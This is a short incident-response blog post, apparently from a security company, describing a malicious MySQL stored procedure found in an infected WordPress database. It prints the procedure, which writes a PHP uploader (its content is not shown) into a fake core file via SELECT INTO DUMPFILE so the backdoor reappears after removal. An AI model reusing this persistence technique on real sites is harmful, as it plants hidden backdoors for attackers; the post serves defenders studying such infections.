The Tale of a Malicious Stored Procedure

Nowadays, the most common issues with database injections are related to SPAM. Brian Krebs has a book called Spam Nation, that gives us a more in depth understanding of the economic aspects of such issues and how big they actually are. Thanks Ben Martin for letting me know about this book.

During an incident response of a database infection, we noticed an unusual technique – the malicious code had been added into a stored procedure.

DROP PROCEDURE IF EXISTS `p`;

CREATE PROCEDURE p()
BEGIN
 DROP TABLE IF EXISTS `foo`;
 CREATE TABLE `foo` (`line` longtext) ENGINE = InnoDB;
 INSERT INTO `foo` VALUES ("
"); SELECT * FROM foo LIMIT 0,30 INTO DUMPFILE '/home/username/public_html/wp-includes/class-wp-change.php'; DROP TABLE IF EXISTS `foo`; END
;;

When the stored procedure was executed, a new table called “foo” was created with a malicious PHP Uploader content in it. Then, the malware was saved onto the file ‘wp-includes/class-wp-change.php’. Simple and elegant.

The problem here is that you can easily find and remove the file ‘class-wp-change.php’ as it’s located within a WordPress core directory. However, the stored procedure in the database would recreate the file every single time and that’s very easy to miss unless you have the habit of checking stored procedures on your database.

Most of the time, attackers will inject malware into different parts of your system to maintain access to the compromised website, even if the obvious backdoor is removed. That’s why simply removing those easy to spot malicious files may not solve the case.

If you need professional help on getting the issues fixed, we’d be happy to assist you!